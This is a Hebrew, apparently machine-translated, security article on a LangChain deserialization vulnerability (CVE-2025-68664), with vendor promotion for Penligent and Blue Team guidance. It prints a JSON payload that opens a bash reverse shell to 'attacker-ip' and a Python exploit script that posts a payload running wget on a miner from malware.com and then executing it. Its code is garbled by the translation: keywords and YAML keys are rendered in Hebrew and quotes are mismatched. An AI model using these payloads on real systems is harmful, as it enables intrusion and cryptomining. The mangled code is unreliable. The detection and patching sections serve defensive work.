במלחמת האבטחה הממוחשבת של 2025, חשיפת פגיעות בהזרקת סידוריות LangChain CVE-2025-68664 פוגע בעוצמה של פצצת עומק. אם הזרקה מיידית עוסקת ב"הטעיה" של המודל בשכבת היישום, CVE-2025-68664 עוסקת ב"השתלטות" על השרת בשכבת התשתית.
כסטנדרט תזמור דה פקטו עבור Agentic AI, אבטחת המידע של LangChain היא קריטית. CVE-2025-68664 (CVSS 9.8, קריטי) חושף פגם ארכיטקטוני בסיסי באופן שבו המסגרת מטפלת בשחזור מצבים מורכבים של סוכנים: כשל בבקרה ביצירת מופע של אובייקט JSON.
מאמר זה נטש את סגנון הדיווח החדשותי השטחי. מנקודת מבט של הנדסה לאחור, ננתח את langchain-core קוד מקור, לפרק את שרשרת הקריאות המלאה מ-JSON ל-RCE, ולספק כללי אוטומציה ברמה ארגונית לצוותי Blue Teams.
אנטומיה של הפגיעות: מתי עומס הופך לדלת אחורית
כוחה של LangChain טמון ביכולת ההרכבה שלה. כדי לתמוך בהתמדת השרשראות והסוכנים, LangChain מספקת dumpd ו עומס שיטות, המאפשרות לאובייקטים של Python להיות מסודרים בסדרות ב-JSON ומוחזרים לזיכרון.
שורש המילה CVE-2025-68664 מתגורר ב langchain-core/load/load.py מודול. בגרסאות שקדמו לתיקון 2025, המטעין הסתמך על מנגנון מיפוי כדי להחליט אילו מחלקות ניתן ליצור. עם זאת, מנגנון זה הכיל פגם לוגי: בעת עיבוד אובייקטים סדרתיים המסומנים כ- קונסטרוקטור סוג, המטעין לא הצליח לאמת בקפדנות את נתיב המודול ב- id . הדבר איפשר לתוקפים לעקוף את רשימת ההיתרים ולהטעין מודולים גלובליים שרירותיים של Python.
כשל לוגי ברמת המקור
בגרסאות המושפעות, לוגיקת הטעינה נראתה בערך כך (בצורה מפושטת לשם הבהירות):
פייתון
`# ייצוג קונספטואלי של הלוגיקה הפגיעה def load(obj, secrets_map=None): if isinstance(obj, dict) and “lc” in obj: # חילוץ מזהה אובייקט, לדוגמה, [“langchain”, “llms”, “OpenAI”] lc_id = obj.get(“id”)
# פגיעות: אמנם קיימת בדיקה, אך היא אינה חוסמת ספריות סטנדרטיות # מטען תוקף ["subprocess", "check_output"] עובר אם obj.get("type") == "constructor": return _load_constructor(lc_id, obj.get("kwargs"))`
התוקפים מנצלים זאת על ידי יצירת lc_id מערך להשראה importlib כדי לטעון מודולים רגישים של המערכת (כגון os, תת-תהליך, sys) ומעבירים ארגומנטים זדוניים למחלקות שלהם.
נשק: יצירת מטען RCE מושלם
עבור חוקרי צוות Red Team, הבנת מבנה המטען היא המפתח לאימות. CVE-2025-68664 אינו דורש הצפת בינארי מורכבת — רק קטע JSON מדויק.
שלב 1: אב טיפוס של הניצול (PoC)
מטען JSON סטנדרטי שנועד להפעיל מחשבון או מעטפת הפוכה נראה כך:
JSON
{ "lc": 1, "type": "constructor", "id": ["subprocess", "check_output"], "kwargs": { "args": ["bash", "-c", "bash -i >& /dev/tcp/attacker-ip/443 0>&1"], "shell": false } }
שלב 2: סקריפט ניצול Python
בתרחיש אמיתי, תוקף יזריק מטען זה לנקודת הקצה "Import Config" של יישום אינטרנט או למאגר הזיכרון של סוכן.
פייתון
`import requests import json

יעד: שירות סוכן AI המקבל קבצי תצורה של LangChain
url = “http://target-ai-service.com/api/v1/agent/import“
payload = { "lc": 1, "type": "constructor", "id": ["subprocess", "run"], "kwargs": { "args": ["wget http://malware.com/miner.sh -O /tmp/x; sh /tmp/x”], “shell”: True, “capture_output”: True } }
שליחת הנתונים הסדרתיים הזדוניים
השרת מפעיל RCE בעת קריאה ל-langchain.load(json_data)
r = requests.post(url, json=payload, headers={“Content-Type”: “application/json”}) print(f”מצב ההתקפה: {r.status_code}”)`
הגנה מבוססת בינה מלאכותית: טכנולוגיית הביקורת המעמיקה של Penligent
סורקי אינטרנט מסורתיים (כגון Nikto או OWASP ZAP) בדרך כלל נכשלים מול CVE-2025-68664 מכיוון שהם אינם מבינים את ההשפעה הסמנטית של מטען JSON על זמן הריצה של Python. הם רואים JSON תקין; השרת רואה הוראת ביצוע פקודה.
זה המקום שבו Penligent.ai ממחישה את עליונותה הטכנולוגית. Penligent עושה שימוש ב- ביקורת סדרתיות עם מודעות סמנטית:
- ניתוח הפוך של AST: סוכני ה-AI של Penligent אינם פועלים באופן עיוור. הם מנתחים תחילה את ה-AST (עץ תחביר מופשט) של היישום היעד כדי לזהות את גרסת LangChain הספציפית ואת לוגיקת הטעינה. הם מאתרים באופן מדויק את ה-unsafe
עומסשיחות בקוד הבסיס. - אימות דינמי של סביבת בדיקה: במהלך הזיהוי, Penligent מדמה את תהליך הטעינה במיקרו-VM מבודד. הוא מזריק אובייקטים סדרתיים המכילים "Canary Tokens". אם האובייקט מצליח להפעיל בקשת רשת Out-of-Band (OOB) (שאילתת DNS), המערכת מאשרת את הפגיעות ללא תוצאות חיוביות כוזבות.
לצוותי אבטחת מידע בארגונים, Penligent מציעה הגנה מלאה, החל מ"Code Commit" ועד "Runtime Monitoring", ומבטיחה שאף תצורה זדונית של Agent לא תחדור לייצור.
מדריך צוות כחול: איתור ותיקון
לפני פריסת התיקונים במלואם, צוותי Blue Teams זקוקים לכללי זיהוי כדי לזהות ניסיונות תקיפה.
1. כלל ניתוח סטטי Semgrep
הוסף את הכלל הבא לצינור ה-CI/CD שלך כדי לסרוק את בסיס הקוד שלך בחיפוש אחר קריאות פגיעות:
YAML
`כללים:
- id: langchain-unsafe-load patterns:
- תבנית: langchain.load.load(…)
- תבנית-לא: langchain.load.load(…, valid_namespaces=[“langchain”]) הודעה: “זוהתה דה-סריאליזציה לא בטוחה של LangChain. CVE-2025-68664 מאפשר RCE. הגבל את valid_namespaces או שדרג מיד.” שפות: [python] חומרה: ERROR`
2. תיקון חירום
תוכנית א' (מומלצת): שדרוג תלות
LangChain תיקנה את הלוגיקה הזו ב-langchain-core >= 0.3.15, והציגה מנגנון ברשימה המותרת המוגדר כברירת מחדל.
תוכנית ב' (זמנית): חיזוק הקוד
אם אינך יכול לשדרג באופן מיידי, עליך להגביל באופן ידני את היקף הטעינה של פונקציית הטעינה:
פייתון
`מ-langchain_core.load ייבוא load
אפשר טעינה בכוח רק ממרחב השמות langchain
דוחה תת-תהליכים, מערכת הפעלה ומודולים אחרים של המערכת
safe_config = load( unsafe_json_data, valid_namespaces=[“langchain”, “langchain_community”] )`
סיכום
פגיעות בהזרקת סידוריות LangChain CVE-2025-68664 מוכיח פעם נוספת כי אבטחת תשתית AI לא יכולה להיבנות על "אמון מובלע". ככל שיישומים LLM מתפתחים מ"צ'אטבוטים" ל"סוכנים אוטונומיים", שטח ההתקפה המכוון לסידוריות, אחסון מצב והפעלת כלים יגדל באופן אקספוננציאלי.
מהנדסי אבטחה חייבים להכיר בכך שמאחורי כל טען() פונקציה, ייתכן ש-Shell מחכה.

